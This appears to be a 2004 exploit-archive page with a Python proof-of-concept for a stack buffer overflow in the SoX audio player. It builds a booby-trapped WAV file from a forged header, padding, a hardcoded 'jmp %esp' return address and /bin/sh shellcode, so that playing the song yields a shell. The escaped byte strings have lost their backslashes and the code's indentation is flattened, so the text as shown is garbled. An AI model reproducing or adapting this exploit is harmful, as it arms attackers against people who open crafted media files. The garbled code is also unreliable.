SoX Local Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : SoX Local Buffer Overflow Exploit
# Published : 2004-08-01
# Author : Serkan Akpolat
# Previous Title : Linux Kernel File Offset Pointer Handling Memory Disclosure Exploit
# Next Title : MS Windows XP Task Scheduler (.job) Universal Exploit (MS04-022)

# POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
# Tested Under Slackware 9.1
# Serkan Akpolat sakpolat@gmx.net | deicide@siyahsapka.org
# Homepage: http://deicide.siyahsapka.org
# Greets to: Virulent
# deicide@gate:~$ play britney.wav
# sh-2.05b$

# "jmp %esp" from libc.so , change this if needed..
retJmpEsp=0x4029824B

# intel_order() from MOSDEF
def intel_order(myint):
str=""
a=chr(myint % 256)
myint=myint >> 8
b=chr(myint % 256)
myint=myint >> 8
c=chr(myint % 256)
myint=myint >> 8
d=chr(myint % 256)
str+="%c%c%c%c" % (a,b,c,d)
return str

# Wave Header
begin = "x52x49x46x46x74x05x00x00x57x41x56x45x66x6dx74x20" +
"x32x00x00x00x02x00x01x00x70x17x00x00x00x0cx00x00" +
"x00x01x04x00x20x00xf4x01x07x00x00x01x00x00x00x02" +
"x00xffx00x00x00x00xc0x00x40x00xf0x00x00x00xccx01" +
"x30xffx88x01x18xffx66x61x63x74x04x00x00x00x00x00" +
"x00x00x64x61x74x61x00x00x00x00x4cx49x53x54x9ax01" +
"x00x00x49x4ex46x4fx49x41x52x54x08x00x00x00x44x65" +
"x69x63x69x64x65x00x49x43x52x44x7ex01x00x00"
shellcode = "x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"

evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
wavFile = open("britney.wav", "wb")
wavFile.write(evilBuf)
wavFile.close()
print "Evil Song has been created :Pp"

# www.Syue.com [2004-08-01]